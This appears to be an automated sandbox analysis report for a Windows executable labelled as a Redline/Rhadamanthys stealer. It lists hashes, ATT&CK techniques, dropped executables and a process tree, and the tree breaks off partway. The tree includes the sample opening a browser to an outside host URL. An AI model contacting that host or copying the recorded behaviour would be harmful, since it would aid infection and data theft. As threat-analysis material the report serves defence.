d94bb17d93889dce5a9881979fbf23da33f4b4c6f64dea0589c7abe835ff727e

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe
Size 226KB
Sample260820-mcfajaxyet
SHA256 d94bb17d93889dce5a9881979fbf23da33f4b4c6f64dea0589c7abe835ff727e
MD5 1b65422adfb3bc80d266f618eb887f83
SHA1 71b517d3fcd44fdcacf456c768749d1c9c6b92f1
SHA512 f1b98bcef8bb87e09b13c877728d41a7bacdba0042aa796d6721f5c2366edebe198998cec595b8d314f3721b48be04dfeeadb4a0d4af08962c8ccd82dc3d2e2f
SSDEEP 3072:MGSyY4L+c2JhX7ypa3rV3dZPFvOAngoRUAFa1nxayHdXkb5kA7:TXY4LK+a3lLNngoqRttA7
TLSH
T1B534490272818071E7560B78046AE7A1467E7C384BA5E68FF7683B795E312D3AD3721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

adware discovery spyware

Malware Config

Signatures

Executes dropped EXE 64 IoCs

pid	Process
5188	CP.exe
1424	tolgeywqoj.exe
3576	CP.exe
1664	CP.exe
2704	i_tolgeywqoj.exe
1500	jdbytrljdb.sys
5796	CP.exe
2960	ytqljdbywq.exe
2652	CP.exe
1392	CP.exe
4368	i_ytqljdbywq.exe
3464	dbytqoidby.sys
2460	CP.exe
5868	aytqlidbvq.exe
3556	CP.exe
2776	CP.exe
3436	i_aytqlidbvq.exe
884	snlfdxvqni.sys
5548	CP.exe
2144	nifdaysqki.exe
2644	CP.exe
4520	CP.exe
5516	i_nifdaysqki.exe
6044	dxnkifaxsp.sys
3048	CP.exe
5760	nhfzxvpkic.exe
4636	CP.exe
4416	CP.exe
2768	i_nhfzxvpkic.exe
6000	usmkicausq.sys
3364	CP.exe
2948	smcaupkhcz.exe
5416	CP.exe
1588	CP.exe
4596	i_smcaupkhcz.exe
1696	rpnhecaurp.sys
2972	CP.exe
4220	xrpkhczusm.exe
5592	CP.exe
1112	CP.exe
2012	i_xrpkhczusm.exe
3368	ecwurmjhbz.sys
3820	CP.exe
5640	ecwurmgezw.exe
5584	CP.exe
5012	CP.exe
4860	i_ecwurmgezw.exe
2392	omgecwuomh.sys
3180	CP.exe
2088	jgbwtomgey.exe
3404	CP.exe
4712	CP.exe
4660	i_jgbwtomgey.exe
5920	gebwuomgey.sys
4152	CP.exe
4616	ztrljdbwto.exe
1640	CP.exe
2596	CP.exe
5968	i_ztrljdbwto.exe
4584	ywqolgeywq.sys
3392	CP.exe
4420	ywtolgeyvq.exe
5060	CP.exe
3420	CP.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfzxvpkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfzxvpkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smcaupkhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ztrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywtolgeyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aytqlidbvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ztrljdbwto.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bvsqnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kicayvqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwurpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkecwurpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqlidbvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nifdaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecwurmgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	khcausmkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_khcausmkhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjhbztrpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqljdbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqljdbywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfdxusqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jgeywuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtrligd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smcaupkhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgbwtomgey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfdxusqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjhbztrpmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecwurmgezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywtolgeyvq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bvsqnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kicayvqkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jgeywuomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nifdaysqki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtrligd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1596	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2388	ipconfig.exe
4612	ipconfig.exe
1048	ipconfig.exe
3640	ipconfig.exe
5696	ipconfig.exe
4832	ipconfig.exe
5688	ipconfig.exe
4448	ipconfig.exe
4472	ipconfig.exe
4144	ipconfig.exe
4532	ipconfig.exe
3464	ipconfig.exe
204	ipconfig.exe
5920	ipconfig.exe
1292	ipconfig.exe
4288	ipconfig.exe
3144	ipconfig.exe
5872	ipconfig.exe
1956	ipconfig.exe
5296	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134316947461700452"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3989226554-2204910950-1522900112-1000\{E2663414-4DCF-405A-B2F1-CEB8DBCE5308}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4248	msedge.exe
4248	msedge.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3188	msedge.exe
3188	msedge.exe
3188	msedge.exe
3188	msedge.exe
3188	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	i_tolgeywqoj.exe
Token: SeDebugPrivilege	4368	i_ytqljdbywq.exe
Token: SeDebugPrivilege	3436	i_aytqlidbvq.exe
Token: SeDebugPrivilege	5516	i_nifdaysqki.exe
Token: SeDebugPrivilege	2768	i_nhfzxvpkic.exe
Token: SeDebugPrivilege	4596	i_smcaupkhcz.exe
Token: SeDebugPrivilege	2012	i_xrpkhczusm.exe
Token: SeDebugPrivilege	4860	i_ecwurmgezw.exe
Token: SeDebugPrivilege	4660	i_jgbwtomgey.exe
Token: SeDebugPrivilege	5968	i_ztrljdbwto.exe
Token: SeDebugPrivilege	3440	i_ywtolgeyvq.exe
Token: SeDebugPrivilege	1388	i_bvsqnlfdxv.exe
Token: SeDebugPrivilege	5240	i_kicayvqkic.exe
Token: SeDebugPrivilege	424	i_nhfdxusqki.exe
Token: SeDebugPrivilege	1432	i_khcausmkhc.exe
Token: SeDebugPrivilege	1848	i_mkecwurpmh.exe
Token: SeDebugPrivilege	4312	i_mjhbztrpmh.exe
Token: SeDebugPrivilege	4680	i_jgeywuomge.exe
Token: SeDebugPrivilege	2704	i_jdbvtrligd.exe
Token: SeDebugPrivilege	2808	i_ljdbvtnlgd.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3188	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 5396	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 5396 wrote to memory of 3188	5396	iexplore.exe	90
PID 3188 wrote to memory of 3744	3188	msedge.exe	91
PID 3188 wrote to memory of 2116	3188	msedge.exe	92
PID 3188 wrote to memory of 1596	3188	msedge.exe	93
PID 3188 wrote to memory of 2116	3188	msedge.exe	92
PID 3188 wrote to memory of 2116	3188	msedge.exe	92
PID 3188 wrote to memory of 5940	3188	msedge.exe	94
PID 3188 wrote to memory of 5940	3188	msedge.exe	94
PID 3188 wrote to memory of 668	3188	msedge.exe	96
PID 3188 wrote to memory of 4268	3188	msedge.exe	97
PID 3188 wrote to memory of 668	3188	msedge.exe	96
PID 3188 wrote to memory of 668	3188	msedge.exe	96
PID 3188 wrote to memory of 4268	3188	msedge.exe	97
PID 3188 wrote to memory of 4268	3188	msedge.exe	97
PID 3188 wrote to memory of 560	3188	msedge.exe	98
PID 3188 wrote to memory of 5064	3188	msedge.exe	99
PID 3188 wrote to memory of 560	3188	msedge.exe	98
PID 3188 wrote to memory of 560	3188	msedge.exe	98
PID 3188 wrote to memory of 5064	3188	msedge.exe	99
PID 3188 wrote to memory of 5064	3188	msedge.exe	99
PID 3188 wrote to memory of 4748	3188	msedge.exe	100
PID 3188 wrote to memory of 4748	3188	msedge.exe	100
PID 3188 wrote to memory of 6060	3188	msedge.exe	102
PID 3188 wrote to memory of 6060	3188	msedge.exe	102
PID 3188 wrote to memory of 3552	3188	msedge.exe	103
PID 3188 wrote to memory of 3552	3188	msedge.exe	103
PID 1688 wrote to memory of 5188	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	104
PID 3188 wrote to memory of 4568	3188	msedge.exe	107
PID 1424 wrote to memory of 3576	1424	tolgeywqoj.exe	109
PID 3188 wrote to memory of 4072	3188	msedge.exe	112
PID 3188 wrote to memory of 4072	3188	msedge.exe	112
PID 3188 wrote to memory of 2948	3188	msedge.exe	113
PID 3188 wrote to memory of 2948	3188	msedge.exe	113
PID 1688 wrote to memory of 1664	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	116
PID 1688 wrote to memory of 5796	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	120
PID 2960 wrote to memory of 2652	2960	ytqljdbywq.exe	122
PID 1688 wrote to memory of 1392	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	125
PID 1688 wrote to memory of 2460	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	129
PID 5868 wrote to memory of 3556	5868	aytqlidbvq.exe	131
PID 1688 wrote to memory of 2776	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	134
PID 1688 wrote to memory of 5548	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	138
PID 2144 wrote to memory of 2644	2144	nifdaysqki.exe	140
PID 1688 wrote to memory of 4520	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	143
PID 3188 wrote to memory of 4612	3188	msedge.exe	146
PID 3188 wrote to memory of 5872	3188	msedge.exe	147
PID 3188 wrote to memory of 2976	3188	msedge.exe	148
PID 1688 wrote to memory of 3048	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	151
PID 5760 wrote to memory of 4636	5760	nhfzxvpkic.exe	153
PID 1688 wrote to memory of 4416	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	156
PID 1688 wrote to memory of 3364	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	160
PID 2948 wrote to memory of 5416	2948	smcaupkhcz.exe	162
PID 1688 wrote to memory of 1588	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	165
PID 1688 wrote to memory of 2972	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	169
PID 4220 wrote to memory of 5592	4220	xrpkhczusm.exe	171
PID 1688 wrote to memory of 1112	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	174
PID 1688 wrote to memory of 3820	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	178
PID 5640 wrote to memory of 5584	5640	ecwurmgezw.exe	180
PID 1688 wrote to memory of 5012	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	183
PID 3188 wrote to memory of 5268	3188	msedge.exe	185
PID 3188 wrote to memory of 5268	3188	msedge.exe	185
PID 1688 wrote to memory of 3180	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	191
PID 2088 wrote to memory of 3404	2088	jgbwtomgey.exe	193
PID 1688 wrote to memory of 4712	1688	2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-20_1b65422adfb3bc80d266f618eb887f83_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x35c,0x7ff88f97c188,0x7ff88f97c194,0x7ff88f97c1a0
      4⤵
      PID:3744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,4137750425444444597,13822254261940647737,262144 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=2540 /prefetch:2
      4⤵
      PID:2116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,15618504353934661845,10636021211806261145,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=2652 /prefetch:11
      4⤵
      System Time Discovery
      PID:1596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1428,i,6229986188536218367,17698618116874916240,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:13
      4⤵
      PID:5940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3624,i,5833682484866342013,15315569410582057932,2097152 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
      4⤵
      PID:668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3704,i,16027110212695591037,11193285298359317182,2097152 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:4268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4332,i,12504933314679777423,17051278170772068123,2097152 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:1
      4⤵
      PID:560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4352,i,13256977078887237761,16837886167909937720,2097152 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:9
      4⤵
      PID:5064
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3800,i,2550682200685958520,10365609353615082506,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:14
      4⤵
      PID:4748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5448,i,16264773798521054602,7095541268191811337,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:14
      4⤵
      PID:6060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3612,i,18277245915852747797,15889956470334151975,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5492 /prefetch:14
      4⤵
      PID:3552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,12611244884342038104,4054151988089718382,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,12611244884342038104,4054151988089718382,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6160 /prefetch:14
      4⤵
      PID:4568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,12752555070920288458,13388323372901052962,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
      4⤵
      PID:4072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,15404915575882391326,4614013380962748163,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6552 /prefetch:14
      4⤵
      PID:2948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3648,i,8777834775551631769,2953989590887814097,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=6244 /prefetch:14
      4⤵
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4344,i,12982679851430453332,6018315932936127643,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:14
      4⤵
      PID:5872
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5072,i,13807012811327524480,9334695783333855395,524288 --field-trial-handle=2552,i,15884967118133027781,1641273164596669533,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:14
      4⤵
      PID:2976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
